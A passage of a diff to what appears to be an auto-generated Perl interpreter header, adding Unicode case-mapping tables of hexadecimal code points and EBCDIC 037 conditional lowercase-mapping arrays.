+	0x18C,
+	0x18E,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
+	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
+	0x3FD,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
 	0x1FB8,
+	0x1FBA,
 	0x1FBC,
 	0x1FBD,
-	0x1FC2,
-	0x1FC5,
-	0x1FC6,
 	0x1FC8,
 	0x1FCC,
 	0x1FCD,
-	0x1FD2,
-	0x1FD4,
-	0x1FD6,
 	0x1FD8,
-	0x1FE2,
-	0x1FE5,
-	0x1FE6,
+	0x1FDA,
+	0x1FDC,
 	0x1FE8,
-	0x1FF2,
-	0x1FF5,
-	0x1FF6,
+	0x1FEA,
+	0x1FEC,
+	0x1FED,
 	0x1FF8,
+	0x1FFA,
 	0x1FFC,
 	0x1FFD,
-	0xFB00,
-	0xFB07,
-	0xFB13,
-	0xFB18
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212B,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
+	0xA7AF,
+	0xA7B0,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
 };
 
-#endif	/* defined(PERL_IN_REGCOMP_C) */
+#   endif	/* EBCDIC 037 */
 
-#if defined(PERL_IN_PERL_C)
+#endif	/* defined(PERL_IN_UTF8_C) */
 
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	LC_0 = 0,
+	LC_use_AUX_TABLE_1 = -1
+} LC_enum;
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_LC_AUX_TABLES
+
+static const unsigned int LC_AUX_TABLE_1[] = {
+	0x89,
+	0x307
+};
+
+static const unsigned int * const LC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	LC_AUX_TABLE_1
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 LC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* LC_AUX_TABLE_1 */
+};
+
+static const int Lowercase_Mapping_invmap[] = { /* for EBCDIC 037 */
+	0,
+	0x42,
+	0,
+	0x51,
+	0,
+	0x70,
+	0,
+	0x9C,
+	0,
+	0x8C,
+	0,
+	0x81,
+	0,
+	0x91,
+	0,
+	0xA2,
+	0,
+	0xCB,
+	0,
+	0xDB,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	LC_use_AUX_TABLE_1,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xDF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	0,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3B8,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0xAB70,
+	0x13F8,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
